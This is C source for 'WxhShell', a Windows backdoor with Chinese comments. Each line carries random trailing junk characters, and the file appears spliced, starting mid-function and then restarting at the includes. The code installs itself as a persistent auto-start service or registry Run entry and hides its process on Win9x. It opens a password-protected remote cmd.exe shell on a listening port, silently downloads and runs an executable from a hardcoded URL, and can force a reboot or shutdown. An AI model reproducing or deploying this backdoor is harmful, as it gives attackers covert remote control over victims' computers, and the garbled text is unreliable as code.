    if(Boot(SHUTDOWN)) !.q#X^@>L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dleLX%P  
    else { zJ8jJFL+Y  
    closesocket(wsh); 'Ze& LQ  
    ExitThread(0); O]25 {L  
    } 6 iH]N*]S^  
    break; _Mh..#)`[  
    } r6:nYyF$)v  
  // 获取shell bGj<Dojl  
  case 's': { ZGd7e.u=  
    CmdShell(wsh); ^h<ElK  
    closesocket(wsh); aMgg[g9>t  
    ExitThread(0); *unJd"<*&@  
    break; Qeq=4Nq  
  } XlwyD  
  // 退出 w-wJhc|  
  case 'x': { eX^ F^(   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cgQ2Wo7tCq  
    CloseIt(wsh); _oU~S$hO  
    break; o|VM{5  
    } -K5u5l}  
  // 离开 <ou=f'  
  case 'q': { 0gKSjTqo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (rf8"T!"  
    closesocket(wsh); Op iVQr:  
    WSACleanup(); W%#LHluP  
    exit(1);  8U-<Q>  
    break; 7<F{a"5P  
        } E{B40E~4  
  } +|O& k  
  } jpfFJon)w  
j&,%v+x  
  // 提示信息 :\#/T,K"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HD}3mP  
} pH.&OW%  
  } -s6;IoG/  
\XG\  
  return; kc"SUiy/  
} eJZt&|7N  
|+Ub3<b[]  
// shell模块句柄 4--[.j*W  
int CmdShell(SOCKET sock) z Q11dLjs  
{ -<n]Sv;V  
STARTUPINFO si; ;e ^`r;]  
ZeroMemory(&si,sizeof(si)); (wEaw|Zx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9iOTT%pq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kM@heFJb.  
PROCESS_INFORMATION ProcessInfo; \&X*-T[]j  
char cmdline[]="cmd"; k*= #XbX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8>V)SAI'  
  return 0; oOy_2fwZPp  
} :+}Eo9  
+S}/ 6dg  
// 自身启动模式 t>(}LV.  
int StartFromService(void) M!b"c4|<  
{ W&0KO-}ot  
typedef struct Ba]^0Y u  
{ <bgFc[Z  
  DWORD ExitStatus; <>6DPHg~  
  DWORD PebBaseAddress; $<s 3;>t  
  DWORD AffinityMask; HFrwf{J  
  DWORD BasePriority; y8=H+Y  
  ULONG UniqueProcessId; AtW<e;!0te  
  ULONG InheritedFromUniqueProcessId; .Zv uhOn^  
}   PROCESS_BASIC_INFORMATION; la[>C:8IG  
5IiZnG u  
PROCNTQSIP NtQueryInformationProcess; Mi&jl_&  
K-drN)o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Eh&HN-&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6'1m3<G_  
@a}jnl(2  
  HANDLE             hProcess; Vi_6O;  
  PROCESS_BASIC_INFORMATION pbi; T:(c/ >  
0Wc8\c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #=\nuT'oy  
  if(NULL == hInst ) return 0; lr_c  
o+^5W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tEHgQto  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &F#K=R| .j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C(kIj  
}:a:E~5y  
  if (!NtQueryInformationProcess) return 0; E+e:UBeUV  
:927y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pmj%QhOYE  
  if(!hProcess) return 0; Y('?Z]  
bL]NSD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 24Uvi:B?~  
/[RO>Z9  
  CloseHandle(hProcess); H$={i$*,Y  
$|%BaEyk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;o-c.-!F  
if(hProcess==NULL) return 0; 5isqBu  
]XhX aoqL  
HMODULE hMod; q aZQ1<e  
char procName[255]; ;2jH;$HZ  
unsigned long cbNeeded; `4kVe= {  
ni`uO<\U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ap|$8 G  
SM8Wg>  
  CloseHandle(hProcess); ^^Te  
ft><Ql3  
if(strstr(procName,"services")) return 1; // 以服务启动 rK} =<R  
zqt{oN_  
  return 0; // 注册表启动 B Ms?+  
} ^M6R l0  
V Bv|7S  
// 主模块 %v)O!HC}  
int StartWxhshell(LPSTR lpCmdLine) f1,VbuS9I  
{ "cDMFu  
  SOCKET wsl; &ku.Q3xGs  
BOOL val=TRUE; PJ3M,2H1b.  
  int port=0; ^bG91"0A  
  struct sockaddr_in door; Jy?; <  
s@D/.X  
  if(wscfg.ws_autoins) Install(); *r(Qy0(  
1'4?}0Dok  
port=atoi(lpCmdLine); 4U>g0  
Ci(c`1av  
if(port<=0) port=wscfg.ws_port; JBk >|q"  
mr2fNA>kR  
  WSADATA data; wU(!fw\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GW,RE\Q:  
]@{l<ExP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e82xBLxR%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fR>"d<;T  
  door.sin_family = AF_INET; ,xI FF-[0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h,|. qfUk  
  door.sin_port = htons(port); }?^]-`b  
8h,=yAn5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w8}jmpnI  
closesocket(wsl); \c4D|7\=  
return 1; S\L^ZH?[2  
} ~yiw{:\  
QWwdtk  
  if(listen(wsl,2) == INVALID_SOCKET) { (lg~}Jwq  
closesocket(wsl); Zk~~`h  
return 1; P:%r3F  
} suHi sc*  
  Wxhshell(wsl); >!MRk[@ V-  
  WSACleanup(); T/234;Uf|  
RQYD#4|  
return 0; (f;.`W  
~s*kuj'%+  
} -% \LW1  
%>!W+rO,  
// 以NT服务方式启动 w8cbhc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yk0/f|>O  
{ Ug  )eyu  
DWORD   status = 0; .iYp9?t  
  DWORD   specificError = 0xfffffff; E V@yJ]  
5,J.$Sax  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CsEU:v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >i"WKd=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f4Ob4ah!(  
  serviceStatus.dwWin32ExitCode     = 0; gg/2R?O]  
  serviceStatus.dwServiceSpecificExitCode = 0; p z\8Bp}yo  
  serviceStatus.dwCheckPoint       = 0; 4%#q.qI  
  serviceStatus.dwWaitHint       = 0; 1`GW>ZKv  
XT?wCb41R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jl<pWjkZZ  
  if (hServiceStatusHandle==0) return; }W0_eQ  
:7~DiH:Q  
status = GetLastError(); TE: |w Xe  
  if (status!=NO_ERROR) .bUj  
{ + w'q5/`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rl,i,1t  
    serviceStatus.dwCheckPoint       = 0; !j%u wje\  
    serviceStatus.dwWaitHint       = 0; qu&p)*M5  
    serviceStatus.dwWin32ExitCode     = status; (8~D ^N6Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; <}T7;knO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N:;z~`  
    return; GI@;76Qf  
  } nk;^sq4M:  
l6zYiM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OF2 W UcQ  
  serviceStatus.dwCheckPoint       = 0; ICiGZ'k  
  serviceStatus.dwWaitHint       = 0; |{JI=$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^7a@?|,q8  
} |h&Z.  
N<b~,[yCd>  
// 处理NT服务事件,比如:启动、停止 :| !5d{8S8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C80< L5\  
{ (\'$$  
switch(fdwControl) n5z|@I`S_  
{ {$#88Qa\-  
case SERVICE_CONTROL_STOP: U9K'O !i>  
  serviceStatus.dwWin32ExitCode = 0; mZG n:f}=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "dT"6,  
  serviceStatus.dwCheckPoint   = 0; $ w+.-Tr  
  serviceStatus.dwWaitHint     = 0; o+.ySSBl+  
  { !^o{}*]Pi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |3^U\r^zo  
  } tfD7!N{  
  return; B3pjli  
case SERVICE_CONTROL_PAUSE: 4oL .Bt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; " %qr*|  
  break; ~FQHT?DAo  
case SERVICE_CONTROL_CONTINUE: mkhWbzD'S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q!W=U8`  
  break; -2(?O`tZ  
case SERVICE_CONTROL_INTERROGATE: '1(6@5tyWk  
  break; JPHM+3v  
}; L|L|liWd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |sY  
} ve:Oe{Ie{  
b^&azUkMN  
// 标准应用程序主函数 (z8 ;J> 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xk/iyp/  
{ bt(Y@3;  
|>[qC O  
// 获取操作系统版本 gwdAf%|f  
OsIsNt=GetOsVer(); IsShAi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u! &T}i:  
i]J.WFu  
  // 从命令行安装 tTF<DD}8  
  if(strpbrk(lpCmdLine,"iI")) Install(); ' Ttsscv  
6yO5{._M  
  // 下载执行文件 o"FR% %  
if(wscfg.ws_downexe) { cTS.yN({G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fVf:voh  
  WinExec(wscfg.ws_filenam,SW_HIDE); \*'@F+  
} Jm#p!G+  
>3pT).wH|M  
if(!OsIsNt) { 4<Nd5T  
// 如果时win9x,隐藏进程并且设置为注册表启动 LnKgT1  
HideProc(); v+[S${  
StartWxhshell(lpCmdLine);  S,ea[$_  
} \uZ|2WG`  
else X d o\DQn  
  if(StartFromService()) s^SU6P/ ]  
  // 以服务方式启动 /CMgWGI  
  StartServiceCtrlDispatcher(DispatchTable); l qwy5#  
else bJ 2>@|3*  
  // 普通方式启动 %p$XK(6  
  StartWxhshell(lpCmdLine); sW'_K.z  
>j3':>\U  
return 0; 9<&M~(dwT4  
} ('Qq"cn#  
iETUBZ  
cm_5,wB(w  
1#%H!GKvTU  
=========================================== P+ CdqOL  
ep?D;g  
/]'&cD 1  
l@* $C&E  
8h }a:/  
A%?c1`ZxF  
" s~2o<#  
sve} ent  
#include <stdio.h> i{TPf1OY`M  
#include <string.h> A&p@iE*/  
#include <windows.h> TWGn: mi  
#include <winsock2.h> `4snTM!v&  
#include <winsvc.h> xw_klHL-o  
#include <urlmon.h> yj#FO'UY  
C?>d$G8  
#pragma comment (lib, "Ws2_32.lib") k}qQG}hB  
#pragma comment (lib, "urlmon.lib") y6tqemz  
k ,ldi  
#define MAX_USER   100 // 最大客户端连接数 JbL3/h]  
#define BUF_SOCK   200 // sock buffer ?d%{-  
#define KEY_BUFF   255 // 输入 buffer f=}T^Z<  
r7g@(K  
#define REBOOT     0   // 重启 }4!}vkVx  
#define SHUTDOWN   1   // 关机 !-^oU"  
S|)atJJ0G"  
#define DEF_PORT   5000 // 监听端口 )Z1&`rv  
BJb,  
#define REG_LEN     16   // 注册表键长度 -dO8Uis$  
#define SVC_LEN     80   // NT服务名长度 ;Ivv4u  
ga/zt-&  
// 从dll定义API JygJ4RI%j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,$ /Ld76U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 97\K] Tr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 89^g$ ac  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }xt^}:D  
bRyxP2  
// wxhshell配置信息  iY$iL<  
struct WSCFG { *cCx]C.~  
  int ws_port;         // 监听端口 MnqT?Cc4$j  
  char ws_passstr[REG_LEN]; // 口令 aT Izf qCM  
  int ws_autoins;       // 安装标记, 1=yes 0=no L~{(9J'(  
  char ws_regname[REG_LEN]; // 注册表键名 #<"od'{U  
  char ws_svcname[REG_LEN]; // 服务名 \By_mw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =TNFAt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4]tg!ks  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HQ9tvSc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vdx o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ru2M"]T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C.:S@{sK  
n/(}|xYU  
}; (>A#|N1U  
Qd YYWD   
// default Wxhshell configuration ;z9 ,c  
struct WSCFG wscfg={DEF_PORT, 0j4n1 1#  
    "xuhuanlingzhe", +@!\3a4!  
    1, S-o )d  
    "Wxhshell", ![ce }  
    "Wxhshell", -hW>1s<  
            "WxhShell Service", 2bTS, N/>  
    "Wrsky Windows CmdShell Service", )#i"hnYpQ  
    "Please Input Your Password: ", K;"oK  
  1, *j]Bo,AC  
  "http://www.wrsky.com/wxhshell.exe", 8%u|[Si;  
  "Wxhshell.exe" 9y&;6V.'  
    }; R[jFB 7dd  
b3[[ Ah-  
// 消息定义模块 *5oQZ".vA*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \8<[P(!3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q?mpvpL G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " ]G'^  
char *msg_ws_ext="\n\rExit."; 'D`lVUB  
char *msg_ws_end="\n\rQuit."; 0lniu=xmQ-  
char *msg_ws_boot="\n\rReboot..."; 5EQ)pH+  
char *msg_ws_poff="\n\rShutdown..."; $$.q6  
char *msg_ws_down="\n\rSave to "; ;`pIq-=  
k6z ]-XG  
char *msg_ws_err="\n\rErr!"; -QJ8\/1>  
char *msg_ws_ok="\n\rOK!"; qzvht4  
hQe78y  
char ExeFile[MAX_PATH]; ga\ s5  
int nUser = 0; tzd !r7  
HANDLE handles[MAX_USER]; [Q8Wy/o Q  
int OsIsNt; Hpz1Iy @  
zL}`7*d:v  
SERVICE_STATUS       serviceStatus; oXh t$Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {ixKc  
cy!P!t,@  
// 函数声明 G7`mK}J7  
int Install(void); :}fA98S  
int Uninstall(void); g|| q 3  
int DownloadFile(char *sURL, SOCKET wsh); ,Nw2cv}D  
int Boot(int flag); 5655)u.N8  
void HideProc(void); OhN2FkxL  
int GetOsVer(void); E A55!  
int Wxhshell(SOCKET wsl); mDp8JNJNE  
void TalkWithClient(void *cs); B f  y  
int CmdShell(SOCKET sock); lY@2$q9BT  
int StartFromService(void); <>$CYTb  
int StartWxhshell(LPSTR lpCmdLine); &$2d=q8mh  
@N<h`vDa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w{_g"X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vJi<PQ6  
4noy!h  
// 数据结构和表定义 ,d lq2  
SERVICE_TABLE_ENTRY DispatchTable[] = QX}JQ<8  
{ o/a2n<4  
{wscfg.ws_svcname, NTServiceMain}, VuTTWBx  
{NULL, NULL} x;:jF_  
}; C7W<7DBf  
B0Z>di:  
// 自我安装 \v=@'  
int Install(void) Zw{?^6;cS  
{ sd B(sbSF  
  char svExeFile[MAX_PATH]; \i-CTv6f  
  HKEY key; P{ %Urv{U  
  strcpy(svExeFile,ExeFile); 9dAtQwGR"6  
=~W=}  
// 如果是win9x系统,修改注册表设为自启动 Vh=U/{Rp1  
if(!OsIsNt) { 6!itr"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :EYUBtTj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` s+kYWg'Z  
  RegCloseKey(key); :Sd`4"AA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w8$> 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /+`%u&<  
  RegCloseKey(key); ^ZS!1%1  
  return 0; NySa%7@CD  
    } !"RRw&0M  
  } YuIF}mUr"  
} .I#_~C'\  
else { >/ A'G  
{' 0#<Z  
// 如果是NT以上系统,安装为系统服务 Gl|n}wo$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F1-C8V2H  
if (schSCManager!=0) T fIOS]  
{ bd%< Jg+  
  SC_HANDLE schService = CreateService Tjv'S <  
  ( /uR/,R++  
  schSCManager, [iO8R-N8d  
  wscfg.ws_svcname, PrfG  
  wscfg.ws_svcdisp, 0&CXR=U5  
  SERVICE_ALL_ACCESS, y4IQa.F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9MI9$s2y  
  SERVICE_AUTO_START, kc=Z6(=  
  SERVICE_ERROR_NORMAL, W,80deT  
  svExeFile, 6L\]Ee  
  NULL, ,3-^EfccW  
  NULL, *ej< 0I{  
  NULL, /5L\:eX%  
  NULL, @Y.r ,q  
  NULL H-u SdT  
  ); b.?;I7r   
  if (schService!=0) Rmn{Vui9\  
  { Hsv)] %p  
  CloseServiceHandle(schService); ' i5KRFy-  
  CloseServiceHandle(schSCManager); =v<A&4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $X/'BCb  
  strcat(svExeFile,wscfg.ws_svcname); :X-S&S X0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A:Gd F-;[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LA 2/<:  
  RegCloseKey(key); <~w3[i=  
  return 0; y`7<c5zD  
    } bE2O[B  
  } OA\] |2 :  
  CloseServiceHandle(schSCManager); TKGaGMx6@  
} G'w!Aw s  
} Y[R>?w  
Z^4+ 88  
return 1; C%]qK(9vvd  
} f#GMJ mCQs  
4~FRE)8  
// 自我卸载 v_/<f&r  
int Uninstall(void) ly6zz|c5  
{ ,t wB" *  
  HKEY key; 1t?OD_d!8  
C8Mx>6  
if(!OsIsNt) { qS!N\p~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6\K\d_x  
  RegDeleteValue(key,wscfg.ws_regname); {}Is&^3Z  
  RegCloseKey(key); q<z8P;oP^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wJq$yqos{  
  RegDeleteValue(key,wscfg.ws_regname); a L+>XN  
  RegCloseKey(key); 6hYz^}2g  
  return 0; 6g" h}p\{S  
  } \**j \m   
} &$_!S!Sa/  
} es#6/  
else { Dr%wab"yy  
8uH8)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vo*oCfm  
if (schSCManager!=0) `Z5dRLrd  
{ VR&dy|5BO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z^as ?k(iM  
  if (schService!=0) S!z3$@o  
  { VWHpfm[r%  
  if(DeleteService(schService)!=0) { 6<fG; :  
  CloseServiceHandle(schService); =G^'wwpv(  
  CloseServiceHandle(schSCManager); $*%,  
  return 0; #(Gz?kGAH`  
  } gSw <C+  
  CloseServiceHandle(schService); K#X/j'$^  
  } C5TV}Bq\  
  CloseServiceHandle(schSCManager); \$Wpt#V  
} \( {'Xo >(  
} (Y7zaAG]  
5BXku=M  
return 1; $S?gQN.e  
} "H`Be  
][?J8F  
// 从指定url下载文件 >J S^yVk  
int DownloadFile(char *sURL, SOCKET wsh) ^4"AWps  
{ 8Ala31  
  HRESULT hr; 0D@$  
char seps[]= "/"; !\BZ_guz  
char *token; 1Pw1TO"Z  
char *file; ^w~B]*A :"  
char myURL[MAX_PATH]; g:JSy  
char myFILE[MAX_PATH]; 2 Kjd!~Z$  
ycc G>%>r  
strcpy(myURL,sURL); ] T]{VB  
  token=strtok(myURL,seps); Sm4BZF~!B  
  while(token!=NULL) At=d//5FFP  
  { I(pq3_9$  
    file=token; 2m yxwA5  
  token=strtok(NULL,seps); 0g|5s  
  } Pm/i,T6&\  
^OWG9`p+  
GetCurrentDirectory(MAX_PATH,myFILE); TK\3mrEI  
strcat(myFILE, "\\"); x$BNFb%I1  
strcat(myFILE, file); r\ft{Z<P  
  send(wsh,myFILE,strlen(myFILE),0); *qO) MpG{  
send(wsh,"...",3,0); .aY $-Y<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )< G(C,!,.  
  if(hr==S_OK) Y&O2;q/B  
return 0; ~r8<|$;  
else d8jH?P-"  
return 1; 3_XLx{["'  
f2IH2^)P  
} &Z]}rn  
A[;deHg=  
// 系统电源模块 8ex;g^e  
int Boot(int flag) /CsP@f_Gw  
{ k B]`py!  
  HANDLE hToken; =+j3E<w  
  TOKEN_PRIVILEGES tkp; BK%B[f*[OA  
&F~d~;G"q  
  if(OsIsNt) { ~KS@Ulrox  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e~lFjr]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VrZfjpV  
    tkp.PrivilegeCount = 1; gU x}vE-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W$zRUG-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +8//mrL_/  
if(flag==REBOOT) { v~L\[&|_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /&#y-D_  
  return 0; 8~C}0H  
} xE<H@@w  
else { d[3me{Rs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *FC8=U2\X  
  return 0; &]n }fq  
} X13+n2^8]  
  } F:ycV~bE  
  else { "crR{OjE"  
if(flag==REBOOT) { iLSUz j`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M+ %O-B  
  return 0; 3/n?g7B  
} #2_FM!e  
else { Bzwll  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "t4z)j;  
  return 0; jJiuq#;T3  
} Ln,<|,fZN  
} ; D<k  
iw,uwh|L  
return 1; pwfQqPC#_  
} x&;AY  
_D4qnb@  
// win9x进程隐藏模块 Bn&P@C$7  
void HideProc(void) 49*f=gpGj2  
{ <h/q^|tZ{  
fW2NYQP$:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WMtFXkf6"  
  if ( hKernel != NULL ) Ro2V-6 /  
  { j13- ?fQ&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j_90iP^5:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1w7tRw  
    FreeLibrary(hKernel); :.g/=Q(T~  
  } qWr=Oiu  
,byc!P  
return; =H;n$ -P  
} ?Sh]kJ O  
|"LHo  H  
// 获取操作系统版本 g]&fyB#  
int GetOsVer(void) G]aey>)  
{ a%`Yz"<lQ  
  OSVERSIONINFO winfo; ++,I`x+p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >WLX5i&  
  GetVersionEx(&winfo); 4Y59^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M(+Pd_c6  
  return 1; QY)p![6Fj  
  else O"~[njwkE  
  return 0; s&nat4{B  
} +C!GV.q[  
|E6_TZ#=  
// 客户端句柄模块 kfas4mkc  
int Wxhshell(SOCKET wsl) Q9OCf"n$  
{ 'm*W<  
  SOCKET wsh; > .NLmzUX  
  struct sockaddr_in client; kB@gy}  
  DWORD myID; f{VV U/$  
_$$.5?4  
  while(nUser<MAX_USER) `$jun  
{ Ich^*z(F$  
  int nSize=sizeof(client); &Pme4IHtm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 OWyxO3{  
  if(wsh==INVALID_SOCKET) return 1; }d}sC\>U  
*ilh/Hd>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P,pC Z+H  
if(handles[nUser]==0) LI.WcI3uS  
  closesocket(wsh); xDw~n(*  
else ')q4d0B`"  
  nUser++; EoJ\Jk  
  } i;{lY1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Q|<6210  
AcuZ? LYzK  
  return 0; $Z)u04;&@  
} >#:SJ?)`T  
ka!w\v  
// 关闭 socket O#;sY`fy_M  
void CloseIt(SOCKET wsh) l9uocP:D  
{ B0|W  
closesocket(wsh); w.58=Pr  
nUser--;  b}NNkM  
ExitThread(0); RgV3,z  
} T5T%[Gv  
*_I`{9~'  
// 客户端请求句柄 }I uqB*g[t  
void TalkWithClient(void *cs) bu6Sp3g  
{ LTS{[(%  
!y XGAg,  
  SOCKET wsh=(SOCKET)cs; >x*[izr/K  
  char pwd[SVC_LEN]; o}QP+  
  char cmd[KEY_BUFF]; V/H+9+B7Im  
char chr[1]; pnSKIn  
int i,j; kiJ=C2'&  
Lqxh y s  
  while (nUser < MAX_USER) { swZi O_85  
`w#VYs|k  
if(wscfg.ws_passstr) { hK)'dG*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pPOQv:~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KF#^MEw%  
  //ZeroMemory(pwd,KEY_BUFF); 94&t0j_  
      i=0; O^CBa$  
  while(i<SVC_LEN) { 4>oM5Yf8  
(${:5W  
  // 设置超时 <eMqg u  
  fd_set FdRead; !HU$V9C  
  struct timeval TimeOut; Wap4:wT  
  FD_ZERO(&FdRead); }v}F8}4  
  FD_SET(wsh,&FdRead); I)1ih  
  TimeOut.tv_sec=8; |Q)mBvvN  
  TimeOut.tv_usec=0; PcA^ jBgGl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %XN;S29d5W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gr\jjf`  
*w0|`[P+h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uQH]  
  pwd=chr[0]; B|a<=~  
  if(chr[0]==0xd || chr[0]==0xa) { ZKrK >X  
  pwd=0; 7/a7p(   
  break; 8D`+3  
  } 8hS^8  
  i++; KRlJKd{  
    } ($`IHKF1.l  
@C@9Tw2Y  
  // 如果是非法用户,关闭 socket 9Br+]F _i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p}sM"}Ul  
} GC# [&>L  
aNKw.S>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2~hdJ/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U@).jpN  
,=CipL9]  
while(1) { |)To 0Z  
6R^F^<<  
  ZeroMemory(cmd,KEY_BUFF); [sG`D-\P[  
{J1rjrPo  
      // 自动支持客户端 telnet标准   KB~1]cYMp  
  j=0; :_i1gY)  
  while(j<KEY_BUFF) { )|v  du  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !QAndg{;D  
  cmd[j]=chr[0]; Tx&H1  
  if(chr[0]==0xa || chr[0]==0xd) { !-T#dU  
  cmd[j]=0; [V_mF  
  break; Bn 8&~  
  } (9( xJ)  
  j++; "UD)3_R  
    } qU6!vgM&  
2u_=i$xW  
  // 下载文件 q*R~gEi#yk  
  if(strstr(cmd,"http://")) { FEhBhv|m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w7~]c,$y.  
  if(DownloadFile(cmd,wsh)) h{-en50tN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ke@Bf  
  else &/uakkS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4v%$R;K  
  } (*eX'^Q)d  
  else { |af<2(d  
p({|=+bl  
    switch(cmd[0]) { L  ~Vw`C  
  P/~dY  
  // 帮助 ,agkV)H  
